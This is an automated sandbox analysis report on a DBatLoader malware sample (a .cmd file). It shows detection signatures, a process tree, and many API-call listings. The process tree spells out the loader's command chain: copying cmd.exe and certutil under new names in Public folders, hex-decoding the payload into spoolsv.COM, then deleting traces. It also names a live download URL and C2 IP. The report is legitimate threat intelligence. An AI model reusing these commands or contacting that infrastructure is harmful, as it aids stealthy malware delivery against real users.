Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Svcrhpjadgyclc.cmd

Overview

General Information

Sample name:Svcrhpjadgyclc.cmd
Analysis ID:1578216
MD5:7afcba92a35ba26fcde12f3aba8ff7d8
SHA1:8fe8577fc2ef8866c83ab163a8655ea777e6d4f4
SHA256:29bda570966cf934b38ff7b1613f9330709307405391ced5452bd9cc63736331
Tags:cmduser-TeamDreier
Infos:

Detection

DBatLoader
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for dropped file
Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected DBatLoader
AI detected suspicious sample
Allocates many large memory junks
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Drops or copies certutil.exe with a different name (likely to bypass HIPS)
Drops or copies cmd.exe with a different name (likely to bypass HIPS)
Registers a new ROOT certificate
Sigma detected: Execution from Suspicious Folder
Sigma detected: Parent in Public Folder Suspicious Process
Sigma detected: Suspicious Program Location with Network Connections
AV process strings found (often used to terminate AV products)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query locales information (e.g. system language)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops PE files to the user directory
Extensive use of GetProcAddress (often used to hide API calls)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
One or more processes crash
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • cmd.exe (PID: 7600 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • conhost.exe (PID: 7608 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • extrac32.exe (PID: 7652 cmdline: C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe" MD5: 41330D97BF17D07CD4308264F3032547)
    • alpha.exe (PID: 7676 cmdline: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • extrac32.exe (PID: 7692 cmdline: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe MD5: 41330D97BF17D07CD4308264F3032547)
    • alpha.exe (PID: 7720 cmdline: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • kn.exe (PID: 7736 cmdline: C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" "C:\\Users\\Public\\spoolsv.MPEG" 9 MD5: F17616EC0522FC5633151F7CAA278CAA)
    • alpha.exe (PID: 7768 cmdline: C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • kn.exe (PID: 7788 cmdline: C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\spoolsv.MPEG" "C:\\Users\\Public\\Libraries\\spoolsv.COM" 12 MD5: F17616EC0522FC5633151F7CAA278CAA)
    • spoolsv.COM (PID: 7828 cmdline: C:\Users\Public\Libraries\spoolsv.COM MD5: DFD15A4158AB979660435D6F3E95A3EC)
      • WerFault.exe (PID: 1376 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7828 -s 2156 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • alpha.exe (PID: 7840 cmdline: C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
    • alpha.exe (PID: 7864 cmdline: C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\spoolsv.MPEG" / A / F / Q / S MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
DBatLoaderThis Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://swamfoxinnc.com/233_Svcrhpjadgy"]}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000009.00000003.1735073936.000000007FBB0000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security
    00000009.00000002.2463920192.00000000021B6000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security
      00000009.00000002.2480657895.000000007FC80000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security

        Unpacked PEs

        SourceRuleDescriptionAuthorStrings
        9.2.spoolsv.COM.2950000.1.unpackJoeSecurity_DBatLoaderYara detected DBatLoaderJoe Security

          Sigma Signatures

          System Summary

          barindex
          Sigma detected: Execution from Suspicious Folder
          Source: Process startedAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, CommandLine: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, CommandLine|base64offset|contains: , Image: C:\Users\Public\alpha.exe, NewProcessName: C:\Users\Public\alpha.exe, OriginalFileName: C:\Users\Public\alpha.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Svcrhpjadgyclc.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7600, ParentProcessName: cmd.exe, ProcessCommandLine: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, ProcessId: 7676, ProcessName: alpha.exe
          Sigma detected: Parent in Public Folder Suspicious Process
          Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, CommandLine: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, CommandLine|base64offset|contains: {ki, Image: C:\Windows\System32\extrac32.exe, NewProcessName: C:\Windows\System32\extrac32.exe, OriginalFileName: C:\Windows\System32\extrac32.exe, ParentCommandLine: C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, ParentImage: C:\Users\Public\alpha.exe, ParentProcessId: 7676, ParentProcessName: alpha.exe, ProcessCommandLine: extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe, ProcessId: 7692, ProcessName: extrac32.exe
          Sigma detected: Suspicious Program Location with Network Connections
          Source: Network ConnectionAuthor: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 176.123.5.143, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Libraries\spoolsv.COM, Initiated: true, ProcessId: 7828, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

          Suricata Signatures

          TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
          2024-12-19T12:39:18.449649+010020283713Unknown Traffic192.168.2.449731176.123.5.143443TCP
          2024-12-19T12:39:21.905790+010020283713Unknown Traffic192.168.2.449733176.123.5.143443TCP
          2024-12-19T12:39:25.382439+010020283713Unknown Traffic192.168.2.449735176.123.5.143443TCP
          2024-12-19T12:39:28.797509+010020283713Unknown Traffic192.168.2.449737176.123.5.143443TCP
          2024-12-19T12:39:32.381151+010020283713Unknown Traffic192.168.2.449740176.123.5.143443TCP
          2024-12-19T12:40:04.918673+010020283713Unknown Traffic192.168.2.449745176.123.5.143443TCP

          Joe Sandbox Signatures

          Click to jump to signature section

          Show All Signature Results

          AV Detection

          barindex
          Antivirus detection for dropped file
          Source: C:\Users\Public\Libraries\spoolsv.COMAvira: detection malicious, Label: HEUR/AGEN.1326111
          Found malware configuration
          Source: 9.0.spoolsv.COM.400000.0.unpackMalware Configuration Extractor: DBatLoader {"Download Url": ["https://swamfoxinnc.com/233_Svcrhpjadgy"]}
          Multi AV Scanner detection for dropped file
          Source: C:\Users\Public\Libraries\spoolsv.COMReversingLabs: Detection: 55%
          Multi AV Scanner detection for submitted file
          Source: Svcrhpjadgyclc.cmdReversingLabs: Detection: 21%
          AI detected suspicious sample
          Source: Submited SampleIntegrated Neural Analysis Model: Matched 98.8% probability
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7072F38 ?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,InitializeCriticalSection,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,LocalFree,lstrcmpW,#357,CoInitialize,#357,#357,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,?_set_se_translator@@YAP6AXIPEAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z,RevertToSelf,#356,#357,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,6_2_00007FF7F7072F38
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7072C2C CryptFindOIDInfo,memset,CryptRegisterOIDInfo,GetLastError,#357,6_2_00007FF7F7072C2C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70ED850 #357,Sleep,BCryptCloseAlgorithmProvider,I_CryptFreeLruCache,6_2_00007FF7F70ED850
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F184C CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,memset,CryptGetUserKey,GetLastError,CryptGetUserKey,GetLastError,#357,CryptImportKey,GetLastError,CryptDecrypt,GetLastError,GetLastError,#357,CryptDestroyKey,CryptDestroyHash,LocalFree,CryptDestroyKey,GetLastError,#357,LocalFree,6_2_00007FF7F70F184C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7103860 CryptSetProvParam,#205,GetLastError,#357,#357,#357,SetLastError,6_2_00007FF7F7103860
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7097884 GetLastError,CryptFindOIDInfo,#357,#357,LocalFree,6_2_00007FF7F7097884
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D9878 strcmp,strcmp,strcmp,#357,#357,CompareFileTime,LocalFree,CryptMsgClose,CertCloseStore,CompareFileTime,#357,#357,6_2_00007FF7F70D9878
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EB8D0 I_CryptGetLruEntryData,#357,6_2_00007FF7F70EB8D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71398B0 #357,CryptImportPublicKeyInfo,GetLastError,#357,CryptGenKey,GetLastError,CryptGenRandom,GetLastError,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,CryptImportKey,GetLastError,#357,memcmp,#357,CryptDestroyKey,CryptDestroyKey,CryptDestroyKey,LocalFree,LocalFree,LocalFree,CryptReleaseContext,6_2_00007FF7F71398B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D18DC CertFindExtension,CryptDecodeObject,GetLastError,#357,6_2_00007FF7F70D18DC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70738FC RevertToSelf,#356,#357,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,6_2_00007FF7F70738FC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712D750 LocalAlloc,CryptFormatObject,GetLastError,#358,#358,LocalFree,#357,6_2_00007FF7F712D750
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CF774 CertFindExtension,#357,CryptVerifyCertificateSignature,GetLastError,GetLastError,memmove,LocalFree,6_2_00007FF7F70CF774
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7105768 NCryptIsKeyHandle,??_V@YAXPEAX@Z,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F7105768
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F711B794 CryptExportPublicKeyInfoEx,SetLastError,6_2_00007FF7F711B794
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709D790 SslEnumProtocolProviders,#357,SslOpenProvider,SslFreeBuffer,SslFreeObject,SslFreeBuffer,#359,LocalAlloc,BCryptGetProperty,CryptFindOIDInfo,BCryptDestroyKey,BCryptDestroyKey,LocalFree,6_2_00007FF7F709D790
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F707B788 #140,iswdigit,CryptDecodeObject,GetLastError,#357,#357,#224,6_2_00007FF7F707B788
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D577C #360,#358,CryptDecodeObject,GetLastError,#357,6_2_00007FF7F70D577C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71037A4 CryptSetKeyParam,#205,GetLastError,#357,#357,#357,SetLastError,6_2_00007FF7F71037A4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A17D4 #357,#359,#357,NCryptFinalizeKey,#360,#359,#359,#357,NCryptDeleteKey,#360,#359,#359,#359,LocalFree,LocalFree,6_2_00007FF7F70A17D4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712F7FC CryptExportKey,GetLastError,#357,LocalAlloc,CryptExportKey,GetLastError,LocalFree,6_2_00007FF7F712F7FC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709F810 #223,CryptDecodeObjectEx,GetLastError,CertFindAttribute,CertFindAttribute,GetLastError,#357,LocalFree,LocalFree,6_2_00007FF7F709F810
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71197E4 LoadCursorW,SetCursor,#210,LoadCursorW,SetCursor,#357,EnableWindow,SetWindowLongPtrW,SetWindowLongPtrW,SetWindowLongPtrW,GetDlgItem,SetWindowTextW,GetDlgItem,ShowWindow,CryptUIDlgFreeCAContext,LocalFree,6_2_00007FF7F71197E4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EB808 I_CryptFindLruEntry,I_CryptGetLruEntryData,#357,I_CryptReleaseLruEntry,6_2_00007FF7F70EB808
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708F630 CryptAcquireContextW,GetLastError,#357,SetLastError,6_2_00007FF7F708F630
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712F650 CryptHashCertificate2,SetLastError,6_2_00007FF7F712F650
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7103654 CryptReleaseContext,#205,GetLastError,#357,#357,SetLastError,6_2_00007FF7F7103654
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FF644 NCryptDeleteKey,#205,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F70FF644
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D366C CryptVerifyCertificateSignature,GetLastError,CryptVerifyCertificateSignatureEx,GetLastError,#357,6_2_00007FF7F70D366C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708D660 GetDesktopWindow,LocalFree,#357,CertDuplicateCertificateContext,GetLastError,#357,#357,#357,#357,#357,#207,LocalFree,#358,#357,#358,#357,#357,#357,#357,#357,NCryptIsKeyHandle,#357,#357,NCryptIsKeyHandle,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,#357,LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,CryptSetProvParam,GetLastError,#357,CryptReleaseContext,LocalFree,6_2_00007FF7F708D660
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7129688 CryptFindOIDInfo,#357,#360,#360,#360,6_2_00007FF7F7129688
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EB664 I_CryptFindLruEntry,I_CryptGetLruEntryData,I_CryptReleaseLruEntry,6_2_00007FF7F70EB664
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7075664 #256,#357,CryptHashCertificate2,GetLastError,#254,#254,#357,#207,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,#359,6_2_00007FF7F7075664
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B76B0 #359,CryptAcquireCertificatePrivateKey,GetLastError,#357,#358,#359,#358,#358,LocalFree,LocalFree,#357,CryptFindCertificateKeyProvInfo,GetLastError,#357,LocalFree,LocalFree,CryptReleaseContext,6_2_00007FF7F70B76B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F711D6A0 CertOpenStore,GetLastError,#357,CryptMsgOpenToDecode,GetLastError,#357,CryptMsgUpdate,GetLastError,#357,CryptMsgUpdate,GetLastError,#357,#357,LocalFree,LocalAlloc,#357,memmove,CryptMsgGetParam,GetLastError,CryptMsgGetParam,GetLastError,CryptMsgGetParam,GetLastError,CryptMsgClose,CertCloseStore,LocalFree,LocalFree,6_2_00007FF7F711D6A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71036E8 CryptSetHashParam,#205,GetLastError,#357,#357,#357,SetLastError,6_2_00007FF7F71036E8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EF6D8 #357,CryptDuplicateKey,GetLastError,CryptEncrypt,GetLastError,LocalAlloc,memmove,CryptEncrypt,GetLastError,LocalAlloc,CryptDestroyKey,LocalFree,6_2_00007FF7F70EF6D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7139580 memset,#357,CryptCreateHash,GetLastError,#357,CryptGenRandom,GetLastError,CryptHashData,GetLastError,CryptSignHashW,GetLastError,LocalAlloc,CryptSignHashW,GetLastError,CryptImportPublicKeyInfo,GetLastError,CryptVerifySignatureW,GetLastError,#357,CryptDestroyHash,CryptDestroyKey,LocalFree,CryptReleaseContext,6_2_00007FF7F7139580
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CB55C CertFreeCertificateContext,CertCreateCertificateContext,GetLastError,CertDuplicateCertificateContext,#357,#358,CertCompareCertificateName,CryptVerifyCertificateSignatureEx,GetLastError,#357,#357,CertFreeCertificateContext,CertVerifyTimeValidity,#357,6_2_00007FF7F70CB55C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7103590 CryptImportPublicKeyInfoEx2,#205,GetLastError,#357,#357,#357,SetLastError,6_2_00007FF7F7103590
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712F570 CryptHashCertificate,SetLastError,6_2_00007FF7F712F570
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708D5C2 CertCloseStore,CryptMsgClose,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F708D5C2
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C55F0 #357,#360,GetLastError,#360,#359,NCryptDeleteKey,#360,#357,LocalFree,LocalFree,6_2_00007FF7F70C55F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E95FC BCryptOpenAlgorithmProvider,#357,BCryptCreateHash,BCryptHashData,BCryptHashData,CertGetCRLContextProperty,BCryptHashData,BCryptHashData,BCryptFinishHash,BCryptDestroyHash,BCryptCloseAlgorithmProvider,6_2_00007FF7F70E95FC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710342C CryptImportKey,#205,GetLastError,#357,#357,#357,SetLastError,6_2_00007FF7F710342C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713141C GetLastError,CryptDecodeObjectEx,GetLastError,#357,LocalFree,6_2_00007FF7F713141C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7065438 memset,#246,#357,#357,GetLastError,#357,CertFindExtension,GetLastError,GetLastError,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptReleaseContext,CryptAcquireContextW,LocalFree,6_2_00007FF7F7065438
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7109480 memmove,BCryptDecrypt,#205,#357,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,memmove,BCryptEncrypt,#205,#357,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F7109480
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F711B464 CryptEncodeObjectEx,SetLastError,6_2_00007FF7F711B464
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EF488 #357,LocalAlloc,memmove,CryptDuplicateKey,GetLastError,CryptDecrypt,GetLastError,CryptDestroyKey,LocalFree,6_2_00007FF7F70EF488
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712F4A0 CryptHashPublicKeyInfo,SetLastError,6_2_00007FF7F712F4A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F711B4EC CryptDecodeObjectEx,SetLastError,6_2_00007FF7F711B4EC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C3504 CreateFileW,GetLastError,#357,GetFileSize,GetLastError,#357,SetFilePointer,GetLastError,#357,CertFreeCertificateContext,CertFreeCertificateContext,CryptDestroyKey,CryptReleaseContext,CloseHandle,6_2_00007FF7F70C3504
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71314F0 GetEnvironmentVariableW,#205,#205,#203,CryptDestroyHash,CryptReleaseContext,CryptAcquireContextW,GetLastError,#357,CryptCreateHash,GetLastError,CryptReleaseContext,GetLastError,#357,#357,#203,#357,#357,#357,#357,#203,LocalFree,#203,#357,#357,#207,#203,#203,LocalFree,#203,#203,CryptDestroyHash,CryptReleaseContext,6_2_00007FF7F71314F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71034F8 CryptImportPublicKeyInfo,#205,GetLastError,#357,#357,SetLastError,6_2_00007FF7F71034F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709B324 CryptDecodeObject,GetLastError,#357,#357,LocalFree,6_2_00007FF7F709B324
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70BB350 CryptFindLocalizedName,CertEnumPhysicalStore,GetLastError,#357,6_2_00007FF7F70BB350
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7097340 GetModuleHandleW,GetProcAddress,GetLastError,BCryptExportKey,#360,LocalAlloc,CryptHashCertificate2,GetLastError,CryptHashCertificate2,GetLastError,#357,LocalFree,6_2_00007FF7F7097340
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C5338 wcsrchr,#357,#357,LocalAlloc,memmove,wcsrchr,GetLastError,#360,#357,#357,LocalFree,LocalFree,LocalFree,CryptReleaseContext,6_2_00007FF7F70C5338
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708B36C GetLastError,CryptHashCertificate,GetLastError,CryptHashCertificate2,GetLastError,SysAllocStringByteLen,#357,SysFreeString,#357,#357,#357,LocalFree,SysFreeString,6_2_00007FF7F708B36C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7103390 CryptGetUserKey,#205,GetLastError,#357,#357,SetLastError,6_2_00007FF7F7103390
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E33A0 CryptVerifyCertificateSignature,CertCompareCertificateName,6_2_00007FF7F70E33A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713739C CryptAcquireContextW,GetLastError,#360,#360,SetLastError,6_2_00007FF7F713739C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71393A0 CryptGetUserKey,GetLastError,#357,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,LocalFree,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,6_2_00007FF7F71393A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71133B0 CertFindExtension,#357,CryptDecodeObject,GetLastError,#357,#357,6_2_00007FF7F71133B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C13F0 CryptAcquireContextW,GetLastError,#357,CryptCreateHash,GetLastError,CryptHashData,CryptHashData,GetLastError,CryptImportPublicKeyInfo,CryptVerifySignatureW,CertCreateCertificateContext,#357,LocalFree,GetLastError,GetLastError,GetLastError,GetLastError,#357,LocalFree,LocalFree,CryptDestroyKey,CryptDestroyHash,CryptReleaseContext,6_2_00007FF7F70C13F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E53E8 CryptEncodeObjectEx,GetLastError,#357,6_2_00007FF7F70E53E8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EB3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357,6_2_00007FF7F70EB3D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709D240 #357,CryptFindOIDInfo,#357,LocalFree,6_2_00007FF7F709D240
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712D28C CryptFindOIDInfo,CryptEnumOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,#358,6_2_00007FF7F712D28C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7137290 NCryptIsKeyHandle,#359,#360,#357,#358,6_2_00007FF7F7137290
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CB2B4 #357,CryptHashCertificate,GetLastError,#357,memcmp,#358,6_2_00007FF7F70CB2B4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71032A8 CryptGetProvParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,6_2_00007FF7F71032A8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E32D0 #359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,6_2_00007FF7F70E32D0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C92C4 memset,CryptHashCertificate,GetLastError,CryptHashCertificate,GetLastError,GetLastError,GetLastError,#357,#254,LocalAlloc,wcsstr,LocalAlloc,LocalAlloc,#357,memmove,GetLastError,GetProcAddress,GetLastError,GetLastError,#359,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,FreeLibrary,6_2_00007FF7F70C92C4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FF2F0 BCryptCreateHash,#205,#357,#357,#357,#357,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F70FF2F0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D92D8 CertEnumCertificatesInStore,CertGetCRLContextProperty,CertSetCTLContextProperty,GetLastError,#357,#357,CertEnumCertificatesInStore,CryptMsgControl,GetLastError,#357,CryptMsgGetAndVerifySigner,GetLastError,#357,CryptMsgGetAndVerifySigner,#357,CertFreeCertificateContext,CertGetCRLContextProperty,CertEnumCertificatesInStore,#357,#357,#207,LocalFree,#357,#357,CertFreeCertificateContext,CompareFileTime,CertFreeCertificateContext,6_2_00007FF7F70D92D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70ED30C BCryptOpenAlgorithmProvider,#357,BCryptCreateHash,BCryptHashData,BCryptHashData,BCryptHashData,BCryptFinishHash,BCryptDestroyHash,6_2_00007FF7F70ED30C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709D304 #357,CryptFindOIDInfo,#359,LocalAlloc,CryptEncodeObjectEx,GetLastError,LocalFree,LocalFree,LocalFree,6_2_00007FF7F709D304
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70B9134 CryptQueryObject,GetLastError,#357,CertOpenStore,GetLastError,CertOpenStore,GetLastError,CertAddSerializedElementToStore,GetLastError,CertAddEncodedCRLToStore,GetLastError,CertAddEncodedCTLToStore,GetLastError,CertAddEncodedCertificateToStore,GetLastError,#357,CertCloseStore,6_2_00007FF7F70B9134
